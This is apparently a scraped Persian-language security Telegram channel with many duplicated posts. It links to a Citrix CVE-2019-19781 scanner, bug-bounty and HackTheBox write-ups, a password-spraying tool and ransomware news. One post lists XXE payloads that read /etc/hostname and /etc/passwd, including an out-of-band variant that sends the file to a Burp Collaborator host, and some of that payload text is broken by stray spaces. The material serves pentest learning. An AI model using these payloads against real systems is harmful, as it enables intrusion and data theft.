امنیت اطلاعات
ابزار اسکن برای آسیب پذیری citrix CVE-2019-19781 https://github.com/trustedsec/cve-2019-19781/ #citrix #pentest @sec_nerd
اسکریپت NSE برای nmap مخصوص آسیب پذیری citrix
https://github.com/nmap/nmap/pull/1893/commits/2092668b39c9c56eb083cc68dcd8250ebf0d3479
#nmap
#citrix
@sec_nerd
https://github.com/nmap/nmap/pull/1893/commits/2092668b39c9c56eb083cc68dcd8250ebf0d3479
#nmap
#citrix
@sec_nerd
GitHub
CVE-2019-19781 - Citrix ADC Path Traversal by RootUp · Pull Request #1893 · nmap/nmap
The NSE script scans for the CVE-2019-19781 via /vpn/../vpns/cfg/smb.conf
$ nmap --script https-citrix-path-traversal.nse -p443 [REDACTED]
Starting Nmap 7.60 ( https://nmap.org ) at 2020-01-16 01:...
$ nmap --script https-citrix-path-traversal.nse -p443 [REDACTED]
Starting Nmap 7.60 ( https://nmap.org ) at 2020-01-16 01:...
image_2020-01-17_21-50-29.png
56.6 KB
شرکت bitdefender برای باج افزار paradise برنامه رمزگشا منتشر کرد
https://labs.bitdefender.com/2020/01/paradise-ransomware-decryption-tool/
دانلود
#ransomware
#bitdefender
#paradise
@sec_nerd
https://labs.bitdefender.com/2020/01/paradise-ransomware-decryption-tool/
دانلود
#ransomware
#bitdefender
#paradise
@sec_nerd
رایت آپ با موضوع دور زدن فرایند احراز هویت
Authentication bypass
https://link.medium.com/6POLXbk7j3
https://link.medium.com/fjRpVHTkg3
https://link.medium.com/FBilq4m7j3
https://link.medium.com/5Etuo0n7j3
https://link.medium.com/Zq5cjGn7j3
https://xpoc.pro/oauth-authentication-bypass-on-airbnb-acquisition-using-weird-1-char-open-redirect
https://link.medium.com/TC85brt7j3
https://randorisec.fr/client-side-validation
https://link.medium.com/IYzPwWK7j3
https://link.medium.com/SZDewmL7j3
#bugbounty
#pentest
#writeup
@sec_nerd
Authentication bypass
https://link.medium.com/6POLXbk7j3
https://link.medium.com/fjRpVHTkg3
https://link.medium.com/FBilq4m7j3
https://link.medium.com/5Etuo0n7j3
https://link.medium.com/Zq5cjGn7j3
https://xpoc.pro/oauth-authentication-bypass-on-airbnb-acquisition-using-weird-1-char-open-redirect
https://link.medium.com/TC85brt7j3
https://randorisec.fr/client-side-validation
https://link.medium.com/IYzPwWK7j3
https://link.medium.com/SZDewmL7j3
#bugbounty
#pentest
#writeup
@sec_nerd
Medium
Bypass Mobile PIN Verification
There was a 4 digit PIN for opening the app. First I thought this can be bypass using response manipulation. But wait ! not getting any…
امنیت اطلاعات
ابزار اسکن برای آسیب پذیری citrix CVE-2019-19781 https://github.com/trustedsec/cve-2019-19781/ #citrix #pentest @sec_nerd
رایت آپ چالش جدید HTB با نام TartarSauce
https://medium.com/@ranakhalil101/hack-the-box-tartarsauce-writeup-w-o-metasploit-e73393d4a0cd
#writeup
#htb
@sec_nerd
https://medium.com/@ranakhalil101/hack-the-box-tartarsauce-writeup-w-o-metasploit-e73393d4a0cd
#writeup
#htb
@sec_nerd
ابزار Cobalt Strike برای بررسی و تشخیص حسابهای دارای پسوردهای ضعیف در اکتیودایرکتوری
https://github.com/outflanknl/Spray-AD
#AD
#windows
#privesc
@sec_nerd
https://github.com/outflanknl/Spray-AD
#AD
#windows
#privesc
@sec_nerd
GitHub
GitHub - outflanknl/Spray-AD: A Cobalt Strike tool to audit Active Directory user accounts for weak, well known or easy guessable…
A Cobalt Strike tool to audit Active Directory user accounts for weak, well known or easy guessable passwords. - outflanknl/Spray-AD
چک لیست بالابردن سطح دسترسی در ویندوز و لینوکس
https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
#privesc
#windows
#linux
@sec_nerd
https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
#privesc
#windows
#linux
@sec_nerd
رایت آپهای بالابردن سطح دسترسی
https://link.medium.com/9EK64aZ0p3
https://link.medium.com/i3r0isZ0p3
https://link.medium.com/RaArwKZ0p3
https://link.medium.com/z3lGkZZ0p3
https://shawarkhan.com/2019/08/leveraging-angularjs-based-xss-to-privilege-escalation.html
https://link.medium.com/C8SKRh00p3
https://whitehatfamilyguy.blogspot.com/2019/06/google-adwordsprivilege-escalation-read.html
https://link.medium.com/SvC3cI00p3
https://gauravnarwani.com/priv-esc-highest-admin
#bugbounty
#writeup
#privesc
@sec_nerd
https://link.medium.com/9EK64aZ0p3
https://link.medium.com/i3r0isZ0p3
https://link.medium.com/RaArwKZ0p3
https://link.medium.com/z3lGkZZ0p3
https://shawarkhan.com/2019/08/leveraging-angularjs-based-xss-to-privilege-escalation.html
https://link.medium.com/C8SKRh00p3
https://whitehatfamilyguy.blogspot.com/2019/06/google-adwordsprivilege-escalation-read.html
https://link.medium.com/SvC3cI00p3
https://gauravnarwani.com/priv-esc-highest-admin
#bugbounty
#writeup
#privesc
@sec_nerd
Medium
Facebook Workplace Privilege Escalation Vulnerability To Change The Post Privacy As Public
Hi hello everyone, This is Guhan Raja
اکسپلویت کردن آسیب پذیری XXE
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
#writeup
#xxe
#pentest
@sec_nerd
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
#writeup
#xxe
#pentest
@sec_nerd
Medium
Exploiting XML External Entity (XXE) Injections
XXE injection is a type of web security vulnerability that allows an attacker to interfere with the way an application processes XML data…
آسیب پذیری که پسورد paypal شما را نمایان میکند!
https://medium.com/@alex.birsan/the-bug-that-exposed-your-paypal-password-539fc2896da9
#writeup
#paypal
#bugbounty
@sec_nerd
https://medium.com/@alex.birsan/the-bug-that-exposed-your-paypal-password-539fc2896da9
#writeup
#paypal
#bugbounty
@sec_nerd
Medium
The Bug That Exposed Your PayPal Password
And Credit Card Number Too
رایت آپ کشف آسیب پذیری XSS در SMC Networks
https://sku11army.blogspot.com/2020/01/smc-networks-stored-cross-site.html
#bugbounty
#xss
#writeup
@sec_nerd
https://sku11army.blogspot.com/2020/01/smc-networks-stored-cross-site.html
#bugbounty
#xss
#writeup
@sec_nerd
برخی روش های استفاده از آسیب پذیری XXE
XXE via File Upload
<!DOCTYPE test [ <!E NTITY xxe SYSTEM "file:/// etc/hostname" > ]>
<svg width="500px" height="500px" xmlns="https://w3.org/2000/svg" ....version="1.1">
<text font-size="40" x="0" y="16"> &xxe;
XXE Attacks via Modified Content Type
POST /hackingman HTTP/1.0
Content-Type: text/html
Content-Length: 7
<?xml version="1.0" encoding="UTF-8"><cicada>3301</cicada>
Exploiting Blind XXE to Exfiltrate Data Out-of-Band
<!ENTI TY % file SYSTEM "f ile:/ //etc/hostname">
<!ENTITY % eval "<!ENTITY % exfi ltrate SYSTEM 'https://im81nr4zhac2lafxnm997qwk6bc20r.burpcollaborator.net/?x=%file;'>">
%ev al;
%exfiltrate;
Exploiting blind XXE to retrieve data via error messages
<!EN ITY % file SYSTEM "fil e:///etc/pa sswd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///none xistent/%file;'>">
%eval;
%error;
#xxe
@sec_nerd
XXE via File Upload
<!DOCTYPE test [ <!E NTITY xxe SYSTEM "file:/// etc/hostname" > ]>
<svg width="500px" height="500px" xmlns="https://w3.org/2000/svg" ....version="1.1">
<text font-size="40" x="0" y="16"> &xxe;
XXE Attacks via Modified Content Type
POST /hackingman HTTP/1.0
Content-Type: text/html
Content-Length: 7
<?xml version="1.0" encoding="UTF-8"><cicada>3301</cicada>
Exploiting Blind XXE to Exfiltrate Data Out-of-Band
<!ENTI TY % file SYSTEM "f ile:/ //etc/hostname">
<!ENTITY % eval "<!ENTITY % exfi ltrate SYSTEM 'https://im81nr4zhac2lafxnm997qwk6bc20r.burpcollaborator.net/?x=%file;'>">
%ev al;
%exfiltrate;
Exploiting blind XXE to retrieve data via error messages
<!EN ITY % file SYSTEM "fil e:///etc/pa sswd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///none xistent/%file;'>">
%eval;
%error;
#xxe
@sec_nerd
باج افزار جدیدی با نام BitPyLock قبل از رمزنگاری اطلاعات، آنها را میدزدد و تهدید به انتشار داده ها میکند.
این باج افزار در نسخه های جدید خود برای رمزگشایی از تمام شبکه ی آلوده ۵ بیت کوین درخواست می نماید.
اطلاعات بیشتر:
https://www.bleepingcomputer.com/news/security/bitpylock-ransomware-now-threatens-to-publish-stolen-data/
#ransomware
#news
@sec_nerd
این باج افزار در نسخه های جدید خود برای رمزگشایی از تمام شبکه ی آلوده ۵ بیت کوین درخواست می نماید.
اطلاعات بیشتر:
https://www.bleepingcomputer.com/news/security/bitpylock-ransomware-now-threatens-to-publish-stolen-data/
#ransomware
#news
@sec_nerd
BleepingComputer
BitPyLock Ransomware Now Threatens to Publish Stolen Data
A new ransomware called BitPyLock has quickly gone from targeting individual workstations to trying to compromise networks and stealing files before encrypting devices.
استخراج لیست ارتباطات RDP با استفاده از اسکریپت پاورشل
https://github.com/3gstudent/List-RDP-Connections-History
#ps
#windows
#rdp
@sec_nerd
https://github.com/3gstudent/List-RDP-Connections-History
#ps
#windows
#rdp
@sec_nerd
GitHub
GitHub - 3gstudent/List-RDP-Connections-History: Use powershell to list the RDP Connections History of logged-in users or all users
Use powershell to list the RDP Connections History of logged-in users or all users - 3gstudent/List-RDP-Connections-History